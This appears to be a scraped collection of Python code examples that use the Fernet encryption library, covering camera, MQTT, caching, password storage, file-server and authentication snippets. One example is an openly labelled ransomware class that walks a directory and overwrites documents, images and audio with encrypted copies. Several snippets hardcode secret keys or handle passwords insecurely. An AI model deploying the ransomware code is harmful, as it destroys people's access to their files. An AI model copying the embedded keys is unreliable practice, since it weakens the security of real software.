        connectionSocket.send(Enc_reply)
connectionSocket.close()
def main():
    """Face detection camera inference example."""
    parser = argparse.ArgumentParser()
    parser.add_argument(
        '--num_frames',
        '-n',
        type=int,
        dest='num_frames',
        default=None,
        help='Sets the number of frames to run for, otherwise runs forever.')
    # args = parser.parse_args()

    with open("./key.key", "rb") as fp:
        key = fp.read()
    crypt = Fernet(key)

    client = connect_to_socket()

    validation_msg = crypt.encrypt(b"VISION")

    client.sendall(validation_msg)

    # Forced sensor mode, 1640x1232, full FoV. See:
    # https://picamera.readthedocs.io/en/release-1.13/fov.html#sensor-modes
    # This is the resolution inference run on.
    total_cam = 0
    resolution = (800, 500)
    with PiCamera(resolution=resolution, sensor_mode=4) as camera:
        camera.start_preview()
        print('Camera starting......')
        sleep(2)

        stream = BytesIO()
        inference = ImageInference(face_detection.model())

        IM_FOLDER = '/home/pi/iot/images'
        EMAIL = "*****@*****.**"

        i = 0

        run = get_order(client)

        while run:
            stream = BytesIO()
            detected = False
            camera.capture(stream, format='jpeg')
            print(i)
            i += 1
            stream.seek(0)
            image = Image.open(stream)
            faces = face_detection.get_faces(inference.run(image))
            if len(faces) > 0:
                print("Found face")
                draw = ImageDraw.Draw(image)
                for face in faces:
                    x, y, width, height = face.bounding_box
                    area_ratio = (width * height) / (resolution[0] *
                                                     resolution[1])
                    if area_ratio < 0.06:
                        stream.close()
                        continue
                    detected = True
                    draw.rectangle((x, y, x + width, y + height),
                                   outline='red')
                    print('Face : {}: ration : {:.2f}'.format(
                        face, area_ratio))
                if detected:
                    now = str(datetime.datetime.now())
                    imname = IM_FOLDER + '/face_%s.jpg' % (now)
                    image.save(imname, 'JPEG')

                    stream.seek(0)
                    with stream:
                        data = stream.read()

                    # send through tcp
                    send_data(client, data, type="image")

                    subprocess.call(
                        "mpack -s 'visitor at your door' '{}' {} ".format(
                            imname, EMAIL),
                        shell=True)

                    run = get_order(client)
                    if not run:
                        #client.close()
                        continue

                total_cam += 1
                print('Face %d captured' % (total_cam))
            stream.close()
            sleep(0.1)

        inference.close()
        camera.stop_preview()
Example #39
0

broker="broker.mqttdashboard.com"


def on_log(client, userdata, level, buf):
    print("log: ", buf)



client= paho.Client("client-pub")
client.on_log = on_log

#cipher_key = Fernet.generate_key()
cipher_key = b'0x3kqFR-uHFZezuHSRImCHZgBz9pSrMK9Lb9IDwk4Zg='
cipher = Fernet(cipher_key)
message = b'Hello'

encrypted_message = cipher.encrypt(message)
out_message = encrypted_message.decode()# turn it into a string to send

print("connecting to broker ", broker)
client.connect(broker)
client.loop_start()
print("publishing encrypted message ", encrypted_message)

client.publish("trial/encrypt", out_message, qos=1, retain=True)
time.sleep(4)
client.disconnect()
client.loop_stop()
def remove_socket(client_socket):
    if client_socket in sockets_list:
        sockets_list.remove(client_socket)
        client_socket.close()


if __name__ == "__main__":
    try:
        print("Running server script..")
        try:
            PORT = int(
                input("Specify port number for the server (default = 9999): "))
        except ValueError:
            print("Starting server on default port 9999!")
        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server_socket.bind((HOST, PORT))
        server_socket.listen(MAX_CLIENTS)
        sockets_list.append(server_socket)
        print(f"Server started on {HOST} : {PORT}")
        tmp_admin_password = getpass("Admin Password: "******""
        print("Password set and encrypted successfully!")
        print("Waiting for incoming connections..")
        threading.Thread(target=run_server())
    except KeyboardInterrupt:
        server_socket.close()
        print("\nServer stopped!")
Example #41
0
class cache():
    def __init__(self, key, pool):
        self.key = key
        self.pool = pool
        self.fernet = Fernet(self.key)

    def get_hash(self, to_hash: bytes) -> bytes:
        to_hash = sha256(to_hash)
        for _ in range(9):
            to_hash = sha256(to_hash.digest() + self.key)

        return to_hash.digest()

    async def get(self, text, lang, message_id):
        message_id = str(message_id)
        search_for = self.get_hash(str([text, lang]).encode())

        async with self.pool.acquire() as conn:
            row = await conn.fetchrow(
                "SELECT * FROM cache_lookup WHERE message = $1", search_for)

            if row is not None and dict(row)["message_id"] is not None:
                og_message_id = dict(row)["message_id"]
                filename = f"cache/{og_message_id}.mp3.enc"

                if not exists(filename):
                    await self.remove(og_message_id)
                else:
                    with open(filename, "rb") as mp3:
                        decrypted_mp3 = self.fernet.decrypt(mp3.read())

                    return decrypted_mp3

    async def set(self, text, lang, message_id, file_bytes):
        message_id = str(message_id)
        with open(f"cache/{message_id}.mp3.enc", "wb") as mp3:
            mp3.write(self.fernet.encrypt(file_bytes))

        search_for = self.get_hash(str([text, lang]).encode())
        async with self.pool.acquire() as conn:
            row = await conn.fetchrow(
                "SELECT * FROM cache_lookup WHERE message = $1", search_for)
            if row is None or dict(row)["message_id"] is None:
                await conn.execute(
                    """
                    INSERT INTO cache_lookup(message, message_id)
                    VALUES ($1, $2);
                    """,
                    search_for,
                    message_id,
                )
            else:
                await conn.execute(
                    """
                    UPDATE cache_lookup
                    SET message_id = $1
                    WHERE message = $2;
                    """, message_id, search_for)

    async def remove(self, message_id):
        message_id = str(message_id)
        async with self.pool.acquire() as conn:
            await conn.execute(
                "DELETE FROM cache_lookup WHERE message_id = $1;", message_id)

    async def bulk_remove(self, message_ids):
        async with self.pool.acquire() as conn:
            for message in message_ids:
                await conn.execute(
                    "DELETE FROM cache_lookup WHERE message_id = $1;",
                    str(message))
Example #42
0
 def kriptirajTekstTajnimKljucem(self, kljuc, cistiTekst):
     kripter = Fernet(kljuc)
     kriptiraniTekst = kripter.encrypt(bytes(
         cistiTekst, encoding="utf8")).decode("utf-8")
     return kriptiraniTekst
Example #43
0
"""def encrypt(message: bytes, key: bytes) -> bytes:
    return Fernet(key).encrypt(message)

def decrypt(token: bytes, key: bytes) -> bytes:
    return Fernet(key).decrypt(token)
"""

infile = open('jeff.pkl', 'rb')
z = pickle.load(infile)
key = Fernet.generate_key()
f = Fernet(key)
e_userpass = z
username = input("Username: "******"password: "******"Website: ")
e_username = f.encrypt(username.encode())
e_password = f.encrypt(password.encode())
e_list = [b"Username: "******"Password: "******"Website: " + website] = e_list
outfile = open("jeff.pkl", "wb")
pickle.dump(e_userpass, outfile)
outfile.close()
infile = open('jeff.pkl', 'rb')
z = pickle.load(infile)
e_userpass = z
j = [e_userpass[k] for k in e_userpass]
for k in j:
    for q in k:
        f.decrypt(q)
"""for key, value in d_userpass.items():
    print(key, ' : ', value)"""
Example #44
0
#!/usr/bin/env python

import os
from cryptography.fernet import Fernet
import keypass
key = keypass.password2key()
files = os.listdir(os.getcwd() + '/crypt/')
os.chdir(os.getcwd() + '/crypt/')
for i in files:
    fil = open(i, 'r')
    data = fil.read()
    fil.close()
    os.remove(os.getcwd() + '/' + i)
    f = Fernet(key)
    encryptdata = f.encrypt(data)
    fil = open(i + '.encrypt', 'w')
    fil.write(encryptdata)
    fil.close()
    'service(s) found. do you want to continue to VERIFY if service(s) are vulnerable?'
)
print(
    colored(
        'Be careful: This operation needs Internet access and may transfer data about devices over network. Data encrypted on local and we can not see which services are vulnerable but ISPs and other elements may be able to inspect HTTP headers created by UPnP device. Because most of UPnPstack do not allow SSL connection we can not use it. ',
        'red'))
if input('Do you want to continue? y/N ') == 'y':
    ss = getsession(StrangerHost + ':' + StrangerPort + getSessionPath)
    key = Fernet.generate_key()
    f = Fernet(key)
    print(
        'Symmetric random key for encryption:', key,
        ' We do not send this value to server so we can not see which services are vulnerable. All confirmation process is done on client side'
    )
    for serv in services:
        path = StrangerHost + ':' + StrangerPort + putServicePath + f.encrypt(
            serv.encode()).decode() + '&token=' + ss
        if total_length != 0:
            path += "&additional="
            path += "".join(
                random.choices(string.ascii_letters,
                               k=total_length - len(path)))
        print('Calling stranger for ', serv, 'with path of length',
              str(len(path)))
        try:
            subscribe(serv, path)
        except:
            print(serv, path, ' failed')

    print(colored('\n	Waiting 5 second for asynchronous requests', 'yellow'))
    time.sleep(5)
    vulnerabilityconfirmationpath = StrangerHost + ':' + StrangerPort + getVulnerableServicesPath + '&token=' + ss
Example #46
0
class Comm:
    """
    Send encrypted message to the Bumblebee
    """
    def __init__(self, queue_name=None):

        # If queue_name was not given try lo load from file if not generate one
        if queue_name is None:
            self.queue_name = save_config_key("bumblebee.ini", "DEFAULT",
                                              "QueueName", str(uuid.uuid4()))

            # key is generated as byte convert to base64 so we can saved it in the config file
            key = Fernet.generate_key()
            self.key = save_config_key("bumblebee.ini", "DEFAULT", "Key",
                                       key.decode())

        else:
            self.queue_name = queue_name

        keys_link = "<a href ='{FULL_DOMAIN}'> here</a>. ".format(
            FULL_DOMAIN=FULL_DOMAIN, SESSION=self.queue_name, KEY=self.key)

        direct_link = "<a target='_blank' href ='{FULL_DOMAIN}/?session={SESSION}&key={KEY}&view=0'>call bumblebee</a>".format(
            FULL_DOMAIN=FULL_DOMAIN, SESSION=self.queue_name, KEY=self.key)

        print_html(
            "Your connection keys are in bumblebee.ini. If you really care about privacy get your keys and put them"
            + keys_link + "If you are testing just " + direct_link)

        self.token = None

        self.f = Fernet(self.key)

    @staticmethod
    def _encode(val):
        return base64.b64encode(val).decode('utf-8')

    @staticmethod
    def _decode(val):
        return base64.b64decode(val.encode())

    def _encrypt(self, message):
        # Convert to byte if necessary
        if not isinstance(message, (bytes, bytearray)):
            message = str(message).encode()
        return self.f.encrypt(message)

    def send(self, message):
        """
        Send the info to the queue
        :param message:
        :return:
        """
        logger.print(message)
        self.token = self._encrypt(self._compress(message)).decode()

        logger.print(message)
        try:
            headers = {'content-type': 'application/json'}

            data = json.dumps({
                "username": self.queue_name,
                "data": self.token
            })
            response = requests.post(END_POINT, data=data, headers=headers)

            # If the response was successful, no Exception will be raised
            response.raise_for_status()
        except HTTPError as http_err:
            print(f'HTTP error occurred: {http_err}')
        except Exception as err:
            print(f'Other error occurred: {err}')
        else:
            print('Send!')

    def _decrypt(self, token):
        return self.f.decrypt(token)

    def receive(self, token):
        return self._decompress(self._decrypt(token))

    @staticmethod
    def _compress(message):
        """
        Compress info using zlib
        :param message:
        :return:
        """
        message = val_to_byte(message)
        return base64.b64encode(zlib.compress(message))

    @staticmethod
    def _decompress(content):
        try:
            content = zlib.decompress(base64.b64decode(content))
        except Exception:
            raise RuntimeError("Could not decode/unzip the contents")

        try:
            content = json.loads(content)
        except Exception:
            raise RuntimeError("Could interpret the unzipped contents")

        return content
    class Client(threading.Thread):
        def __init__(self, server, s_server, client, addr):
            threading.Thread.__init__(self)
            self.client, self.addr = client, addr
            self.s_server = s_server
            self.server = server
            self.register_status = False
            self.delay = 0

        def key_exchange(self):
            parameter_numbers = dh.DHParameterNumbers(
                0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF,
                2)
            parameter = parameter_numbers.parameters()
            private_key = parameter.generate_private_key()
            public_key = private_key.public_key()
            self.client.send(
                public_key.public_bytes(Encoding.PEM,
                                        PublicFormat.SubjectPublicKeyInfo))
            s_public_key = serialization.load_pem_public_key(
                self.client.recv(2048))
            key = private_key.exchange(s_public_key)
            c_key = HKDF(algorithm=hashes.SHA256(),
                         length=32,
                         salt=None,
                         info=b'exchange successfull').derive(key)
            c_key = base64.urlsafe_b64encode(c_key)
            self.fernet = Fernet(c_key)

        def wait(self):
            self.client.recv(1024)
            self.delay += self.delay * 2 + 2
            self.client.send(self.fernet.encrypt(str(self.delay).encode()))
            for i in range(self.delay):
                self.client.send(self.fernet.encrypt(b'<wait>'))
                time.sleep(1)

        def register(self):
            self.client.send(self.fernet.encrypt(b'<success>'))
            query = sqlite3.connect(
                os.path.dirname(os.path.abspath(__file__)) + '\\database.db')
            query_cursor = query.cursor()
            name = self.fernet.decrypt(self.client.recv(2048)).decode()
            already_exist = query_cursor.execute(
                'SELECT * FROM user WHERE username == (?)',
                (name, )).fetchall()
            if not already_exist:
                self.client.send(self.fernet.encrypt(b'<success>'))
                password = self.fernet.decrypt(self.client.recv(2048)).hex()
                self.virtual_storage = ''.join(
                    random.choice(string.ascii_uppercase + string.digits +
                                  string.ascii_lowercase) for _ in range(10))
                self.name = name
                information = (self.name, password, self.virtual_storage, 1)
                query_cursor.execute('INSERT INTO user VALUES(?,?,?,?)',
                                     information)
                query.commit()
                self.register_status = True
                os.mkdir(self.virtual_storage)
                os.mkdir(self.virtual_storage + '\\Filesys')
                self.client.send(self.fernet.encrypt(b'<success>'))
            else:
                query.rollback()
                self.client.send(self.fernet.encrypt(b'<fail>'))
                del query, query_cursor
                self.delay += self.delay * 2 + 2
                self.register()

        def login(self):
            self.client.send(self.fernet.encrypt(b'<success>'))
            query = sqlite3.connect(
                os.path.dirname(os.path.abspath(__file__)) + '\\database.db')
            query_cursor = query.cursor()
            name = self.fernet.decrypt(self.client.recv(1024)).decode('utf-8')
            user = query_cursor.execute(
                'SELECT * FROM user WHERE username = (?)',
                (name, )).fetchall()
            if user:
                self.client.send(self.fernet.encrypt(b'<success>'))
                self.client.recv(1024)
                if user[0][3] == 1:
                    del query, query_cursor
                    self.client.send(self.fernet.encrypt(b'<fail>'))
                    self.wait()
                    self.login()
                else:
                    self.client.send(self.fernet.encrypt(b'<success>'))
                    pwd = self.fernet.decrypt(self.client.recv(2048)).hex()
                    if pwd == user[0][1]:
                        self.name = name
                        query_cursor.execute(
                            'UPDATE user SET activity=1 WHERE username = (?);',
                            (self.name, ))
                        query.commit()
                        self.client.send(self.fernet.encrypt(b'<success>'))
                        self.register_status = True
                        self.virtual_storage = user[0][2]
                    else:
                        self.client.send(self.fernet.encrypt(b'<fail>'))
                        del query, query_cursor
                        self.wait()
                        self.login()
            else:
                self.client.send(self.fernet.encrypt(b'<fail>'))
                del query, query_cursor
                self.wait()
                self.login()

        def file_system(self):
            if self.fernet.decrypt(self.client.recv(2048)) == b'<fail>':
                print('fail')
                return ''
            absolute_path = os.path.dirname(os.path.abspath(
                __file__)) + '\\' + self.virtual_storage + '\\Filesys'
            virtual_drive = 3 * (10**10)
            used = virtual_drive - os.path.getsize(absolute_path)
            open_files = {
                'Filesys': {
                    'size': virtual_drive,
                    'used': used,
                    'sub': self.get_subtree(rel_path=absolute_path)
                }
            }
            self.client.send(
                self.fernet.encrypt(json.dumps(open_files).encode()))
            file_explorer_open = True
            while file_explorer_open:
                selection = self.fernet.decrypt(
                    self.client.recv(4096)).decode()
                if selection == '<fail>':
                    return '<fail>'

                selection = selection.split(',')
                path = selection[1].replace('<', '').replace('>', '')
                complete_path = absolute_path + path

                if selection[0] == '<send>':
                    if os.path.exists(complete_path):
                        if not os.path.isdir(complete_path):
                            self.client.send(self.fernet.encrypt(b'<fail>'))
                        else:
                            filename = ''.join(
                                random.choices(string.ascii_uppercase +
                                               string.ascii_lowercase,
                                               k=5))
                            while os.path.exists(
                                    os.path.dirname(complete_path) + '\\' +
                                    filename):
                                filename = ''.join(
                                    random.choices(string.ascii_uppercase +
                                                   string.ascii_lowercase,
                                                   k=5))
                            self.client.send(
                                self.fernet.encrypt(filename.encode()))
                            return complete_path + '\\' + filename

                elif selection[0] == '<dir>':
                    if os.path.exists(absolute_path + path):
                        if not os.path.isdir(complete_path):
                            self.client.send(self.fernet.encrypt(b'<fail>'))
                        else:
                            filename = ''.join(
                                random.choices(string.ascii_uppercase +
                                               string.ascii_lowercase,
                                               k=5))
                            while os.path.exists(
                                    os.path.dirname(complete_path) + '\\' +
                                    filename):
                                filename = ''.join(
                                    random.choices(string.ascii_uppercase +
                                                   string.ascii_lowercase,
                                                   k=5))
                            self.client.send(
                                self.fernet.encrypt(filename.encode()))
                            os.mkdir(complete_path + '\\' + filename)
                            self.client.recv(1024)
                            open_files = {
                                'Filesys': {
                                    'size': virtual_drive,
                                    'used': used,
                                    'sub':
                                    self.get_subtree(rel_path=absolute_path)
                                }
                            }
                            self.client.send(
                                self.fernet.encrypt(
                                    json.dumps(open_files).encode()))

                elif selection[0] == '<receive>':
                    complete_path = absolute_path + path
                    if os.path.isdir(complete_path):
                        self.client.send(self.fernet.encrypt(b'<fail>'))
                    else:
                        self.client.send(self.fernet.encrypt(b'<success>'))
                        return complete_path

                elif selection[0] == '<delete>':
                    if os.path.exists(complete_path):
                        if os.path.isdir(complete_path):
                            shutil.rmtree(complete_path)
                        else:
                            os.remove(complete_path)
                        self.client.send(self.fernet.encrypt(b'<success>'))

                    else:
                        print('Not exists')
                        self.client.send(self.fernet.encrypt(b'<fail>'))
                elif selection[0] == '<shutdown>':
                    pass
                else:
                    return '<>'
            return ''

        def get_subtree(self, rel_path='', count=0):
            subfolder = os.listdir(rel_path)
            temp = {}
            if subfolder:
                for i in subfolder:
                    sub_subfolder = rel_path + '\\' + i
                    count += 1
                    if os.path.isdir(sub_subfolder):
                        if os.listdir(sub_subfolder):
                            temp[os.path.basename(sub_subfolder)] = {
                                'size':
                                os.path.getsize(sub_subfolder),
                                'sub':
                                self.get_subtree(rel_path=sub_subfolder,
                                                 count=count)
                            }
                        else:
                            temp[os.path.basename(sub_subfolder)] = {
                                'size': os.path.getsize(sub_subfolder),
                                'sub': {}
                            }
                    else:
                        temp[os.path.basename(sub_subfolder)] = {
                            'size': os.path.getsize(sub_subfolder)
                        }
                return temp
            else:
                return []

        def run(self):
            self.client.recv(1024)
            self.client.send(b'Connected!')
            self.key_exchange()
            while not self.register_status:
                try:
                    options = self.fernet.decrypt(self.client.recv(1024))
                    if options == b'r':
                        self.register()
                    elif options == b'l':
                        self.login()
                    else:
                        self.client.send(self.fernet.encrypt(b'<fail>'))
                except:
                    print('A user with the IP ' + str(self.addr[0]) +
                          ' disconnected!')
                    break

            while self.register_status:
                try:
                    options = self.fernet.decrypt(self.client.recv(1024))
                    if options == b'<send>':
                        self.receive_file()
                    elif options == b'<receive>':
                        self.send_to_client()
                    else:
                        self.client.send(self.fernet.encrypt(b'<fail>'))
                except:
                    self.register_status = False
                    print('User ' + self.name + ' disconnected! (' +
                          self.addr[0] + ')')

        def receive_file(self):
            self.client.send(self.fernet.encrypt(b'<success>'))
            if self.fernet.decrypt(self.client.recv(1024)) == b'<fail>':
                return ''
            filename = self.file_system()
            if filename == '<fail>':
                return ''

            self.client.send(self.fernet.encrypt(b'<success>'))
            buffer = self.fernet.decrypt(
                self.client.recv(1024)).decode('UTF-8')
            buffer = int(buffer)
            self.client.send(self.fernet.encrypt(b'<success>'))
            file_size = int(
                self.fernet.decrypt(self.client.recv(1024)).decode('UTF-8'))
            self.client.send(self.fernet.encrypt(b'<success>'))
            file_encrypt = open(filename, 'wb')
            self.client.send(self.fernet.encrypt(b'<success>'))

            file_src = self.client.recv(buffer)
            file_encrypt.write(file_src)
            total = len(file_src)
            while file_size > total:
                file_src = self.client.recv(buffer)
                file_encrypt.write(file_src)
                total += len(file_src)
            file_encrypt.close()
            self.client.send(self.fernet.encrypt(b'<success>'))

        def send_to_client(self):
            self.client.send(self.fernet.encrypt(b'<success>'))
            file_path = self.file_system()
            if file_path == '<fail>':
                return ''
            self.client.recv(1024)
            buffer = 1024 * 20
            self.client.send(self.fernet.encrypt(str(buffer).encode()))
            self.client.recv(1024)
            file_size = os.path.getsize(file_path)
            self.client.send(self.fernet.encrypt(str(file_size).encode()))
            if self.fernet.decrypt(self.client.recv(1024)) == b'<fail>':
                print('Loading error!')
                return ''
            else:
                file = open(file_path, 'rb')
                file_src = file.read(buffer)
                self.client.send(file_src)
                while file_src:
                    file_src = file.read(buffer)
                    self.client.send(file_src)
                file.close()
def updateUserRegister():
    try:
        if not validators.length(
                request.get_json()['username'].strip(),
                min=2) or not validators.length(
                    request.get_json()['password'].strip(),
                    min=2) or not validators.length(
                        request.get_json()['fullName'].strip(),
                        min=2) or not validators.length(
                            request.get_json()['flatNo'].strip(),
                            min=2) or not validators.email(request.get_json(
                            )['emailId'].strip()) or not validators.length(
                                request.get_json()['mobile'].strip(), min=2):
            task = {'status': 'All Fields are manditory'}
            res2 = json.dumps(task)
            res1 = json.loads(res2)
            response = make_response(res1, 400)
            response.headers.add('Access-Control-Allow-Origin', '*')
            return response
        dic = Dbconnection.DBConnection()
        today = datetime.now()
        key = Fernet.generate_key()
        f = Fernet(key)
        apartmentId = "ADADA"
        myquery = {
            'apartmentId': apartmentId,
            'username': request.get_json()['username'].strip()
        }
        print(myquery)
        #apartmentId = session.get('apartmentId')
        apartmentId = "ADADA"
        if apartmentId == "":
            print(apartmentId)
            task = {'status': 'redirect to login'}
            res2 = json.dumps(task)
            res1 = json.loads(res2)
            response = make_response(res1, 404)
            response.headers.add('Access-Control-Allow-Origin', '*')
            return response
        else:
            myUserJson = {
                '$set': {
                    "apartmentId":
                    apartmentId,
                    "fullName":
                    request.get_json()['fullName'].strip(),
                    "username":
                    request.get_json()['username'].strip(),
                    "password":
                    f.encrypt(bytes(request.get_json()['password'].strip())),
                    "flatNo":
                    request.get_json()['flatNo'],
                    "emailId":
                    request.get_json()['emailId'].strip(),
                    "mobile":
                    request.get_json()['mobile'].strip(),
                    "type":
                    request.get_json()['type'].strip(),
                    "key":
                    key,
                    "createDate":
                    str(today.strftime('%Y-%m-%d %H:%M:%S'))
                }
            }
            dic['user'].update_one(myquery, myUserJson)
            task = {'status': 'Success', "message": "Sucessfully Update"}
            res = json.dumps(task)
            res1 = json.loads(res)
            response = make_response(res1, 200)
            response.headers.add('Access-Control-Allow-Origin', '*')
            return response
    except BulkWriteError as e:
        task = {'status': 'Someting went wrong in post data %s' % e}
        res2 = json.dumps(task)
        res1 = json.loads(res2)
        response = make_response(res1, 404)
        response.headers.add('Access-Control-Allow-Origin', '*')
        return response
Example #49
0
class Ransomware:
    def __init__(self, action, directory='.', keyfile='/tmp/fernet_key.txt'):
        '''
		$ Declare encryption key variable
		$ Get directory to encrypt/decrypt
		$ Get name of file to store key
		'''
        print("%s[+] Invoking Ransomware %s" % (fg(166), attr(0)))
        # --> Ferney key
        self.key = None
        # --> Fernet object
        self.linear_b = None
        # --> File extensions to encrypt
        self.file_ext_targets = ['.txt', '.jpeg', '.png', '.mp3', '.pdf']
        # --> File where key is being stored if key exists in another file
        self.keyfile = keyfile
        # --> Directory that contains files we want to encrypt
        # --> Default directory is the current directory
        self.directory = directory
        # --> Cryptographic action to perform
        self.action = action

    def get_valid_files(self):
        '''
		$ Find files that contain the extension specified in our file_ext_targets list
		$ Returns a list that contains valid files to encrypt
		'''
        print('[+] Gathering all files with target file extensions')
        # --> List containing all files that end with the extensions
        # --> Defined in the file_ext_targets list
        valid_files_to_encrypt = []
        # --> Os.walk will return an iterable that contains current working directory,
        # --> directories in the current directory, and all files in the current
        # --> directory
        for root, _, files in os.walk(self.directory):
            # --> all files in files list
            for file in files:
                file_extension = '.'
                # --> Get the extension of file
                file_extension += file.split('.')[-1]
                # --> Check if the extensions of the file are valid
                if file_extension in self.file_ext_targets:
                    # --> Get full valid file path
                    valid_file_path = os.path.join(root, file)
                    # --> Append valid file path to valid files list
                    valid_files_to_encrypt.append(valid_file_path)

        # --> return list of valid files
        return valid_files_to_encrypt

    def encrypt_or_decrypt(self, list_of_files):
        '''
		$ Opening all files in the list of files argument
		$ and send the contents of these files to be encrypted
		'''
        for file in list_of_files:
            # --> open input file
            with open(file, 'rb') as input_file:
                # --> read the files contents
                file_content = input_file.read().strip()
                # --> open output file
                with open(file, 'wb') as output_file:
                    # --> If action is equal encrypt
                    if self.action == 'encrypt':
                        # ENCRYPT IT!!!!
                        encrypted = self.encrypt_it(file, file_content)
                        # --> write encrypted data back into file
                        output_file.write(encrypted + b'\n')
                    # --> If action is not encrypt
                    else:
                        # DECRYPT IT!!!!
                        decrypted = self.decrypt_it(file, file_content)
                        # --> write decrypted data back into file
                        output_file.write(decrypted + b'\n')

        self.display_progres()

    def display_progres(self):
        progress_bar_info = ''
        # --> If the action variable is set to encrypt
        if self.action == 'encrypt':
            # --> Set the progress bar title to the following
            progress_bar_info = 'Files Encrypted'
        # --> If the action variable is set to decrypt
        else:
            # --> Set the progress bar title to the following
            progress_bar_info = 'Files Decrypted'

        # --> Display progress bar
        print('\n')
        for _ in tqdm(range(10000000), desc=progress_bar_info):
            pass
        print('\n')

    def store_key(self):
        '''
		$ Store key in file
		'''
        print('[+] Storing key in file')
        # --> Open file and write the key into it
        with open(self.keyfile, 'wb') as f:
            f.write(self.key)

    def get_key_from_file(self):
        '''
		$ Retrieve a key from a file
		'''
        self.key = open(self.keyfile, 'rb').read()

    def instantiate_fernet(self):
        # --> Attempt to generate Fernet object
        try:
            print(
                '%s[+] Instantiating Fernet object for our cryptographic functions %s'
                % (fg(76), attr(0)))
            # --> Fernet object instantiation
            self.linear_b = Fernet(self.key)
        except:
            # --> If it fails
            print('[-] Unable to instantiate Fernet object for encryption')

    def key_gen(self):
        '''
		$ Generate encryption/decryption key
		$ Instantiate Fernet object
		'''
        print('[+] Generating Fernet key')
        # --> Generating key for encryption
        self.key = Fernet.generate_key()
        # --> Call method to store the previously generated key
        self.store_key()

    def encrypt_it(self, name_of_curr_file, data_to_encrypt):
        '''
		$ Encrypting all files in the directory stored in the directory variable
		'''
        print(f'%s[+] File to encrypt --> {name_of_curr_file} %s' %
              (fg(9), attr(0)))

        # --> Return the encrypted version of the contents of a file
        return self.linear_b.encrypt(data_to_encrypt)

    def decrypt_it(self, name_of_curr_file, data_to_decrypt):
        '''
		$ Decrypt all files in the directory stored in the directory variable
		'''
        print(f'%s[+] File to decrypt --> {name_of_curr_file} %s' %
              (fg(123), attr(0)))
        # --> Return the decrypted data of an encrypted file
        return self.linear_b.decrypt(data_to_decrypt)
Example #50
0
 def encrypt_string(string, key):
     cipher_suite = Fernet(key)
     cipher_text = cipher_suite.encrypt(string)
     return cipher_text
Example #51
0
from cryptography.fernet import Fernet
import json

message = "my deep dark secret".encode(
)  # .encode() is used to turn the string to bytes

file = open('../key.key', 'rb')  # Open the file as wb to read bytes
key = file.read()  # The key will be type bytes
file.close()

f = Fernet(key)
encrypted = f.encrypt(message)
decrypted = f.decrypt(encrypted)
decrypted = decrypted.decode()
print(decrypted)

try:
    with open("clients.json", "r") as f:
        dictclient = json.load(f)
except Exception:
    pass
from cryptography.fernet import Fernet

cipher_key = Fernet.generate_key()
print(cipher_key)

cipher = Fernet(cipher_key)
text = b'My super secret message'
encrypted_text = cipher.encrypt(text)
print(encrypted_text)

decrypted_text = cipher.decrypt(encrypted_text)
print(decrypted_text)
Example #53
0
def encryptID(idNumber):
    # hide this line key= line in published source code
    key = "BrefO7pJTG2SRyg0PfaOCrz63vZBffGq9Iw-ftNmxFo="
    f = Fernet(key)
    encrypt_value = f.encrypt(str(idNumber))
    return (encrypt_value)
Example #54
0
from cryptography.fernet import Fernet

key_file = "D:/Python/Projects/api_extract/config_files/fernet_key.txt"

with open(key_file, "r") as file:
    key = file.read()

f = Fernet(key)
token = f.encrypt(b"password here")
print(token)
Example #55
0
import pickle
import cryptography
from cryptography.fernet import Fernet

infile = open('dubdub.pkl', 'rb')
key = pickle.load(infile)
key = Fernet(key)
username = "******" + input("Username: "******"******" + input("Password: "******"username"
username2 = username2.encode()
username2 = key.encrypt(username2)
password2 = "password"
password2 = password2.encode()
password2 = key.encrypt(password2)
v = {"website": [username, password], "website2": [username2, password2]}
outfile = open("test.pkl", "wb")
pickle.dump(v, outfile)
outfile.close()
infile = open('test.pkl', 'rb')
j = pickle.load(infile)
a = [j[k] for k in j]
for k in a:
    k[0] = key.decrypt(k[0])
    k[1] = key.decrypt(k[1])
    k[0] = k[0].decode()
    k[1] = k[1].decode()
#encrypt
from cryptography.fernet import Fernet

file = open('key.key', 'rb')

key = file.read()
file.close
with open('secretFile.txt', 'rb') as f:
    data = f.read()

fernet = Fernet(key)
encrypted = fernet.encrypt(data)

with open('secretFile.encrypted', 'wb') as f:
    f.write(encrypted)

#decrypt

from cryptography.fernet import Fernet

file = open('key.key', 'rb')
key = file.read()
file.close

with open('secretFile.encrypted', 'rb') as f:
    data = f.read()

fernet = Fernet(key)
encrypted = fernet.decrypt(data)

with open('secretFile.decrypted', 'wb') as f:
Example #57
0
async def authenticate(s, PORT):
    destId = lookup(s, PORT)
    if (destId == None):
        print("Authentication Error")
        return

    PORT = int(PORT)

    # send to KDC
    nonce1 = random.randint(0, 100)
    message = "Authenticate," + str(nonce1) + "," + ID + "," + destId
    s.sendto(message.encode(), (KDC_IP, KDC_SERVER_PORT))

    # Recieve from KDC
    data, addr = s.recvfrom(BUFFER_SIZE)
    data = data.decode()
    data = data.split(',')
    if (data[0] != "Authenticated"):
        print("Authentication Error")
        return

    # nonce matching
    f = Fernet(SK)
    decodedData = f.decrypt(data[1].encode())
    decodedData = decodedData.decode()
    decodedData = decodedData.split(',')
    if (nonce1 != int(decodedData[0])):
        print("Nonce Match Error")
        return

    # Send to File server
    nonce2 = random.randint(0, 100)
    sessKey = decodedData[2].encode()
    f = Fernet(sessKey)
    encryptedNonce2 = f.encrypt(str(nonce2).encode())
    message = "Authenticate," + encryptedNonce2.decode() + "," + decodedData[3]
    s.sendto(message.encode(), ('127.0.0.1', PORT))

    # Recieve from file server
    data, addr = s.recvfrom(BUFFER_SIZE)
    data = data.decode()
    data = data.split(',')
    if (data[0] != "Authenticate"):
        print("Authentication Error")
        return

    # nonce matching
    decodedData = f.decrypt(data[1].encode())
    decodedData = decodedData.decode()
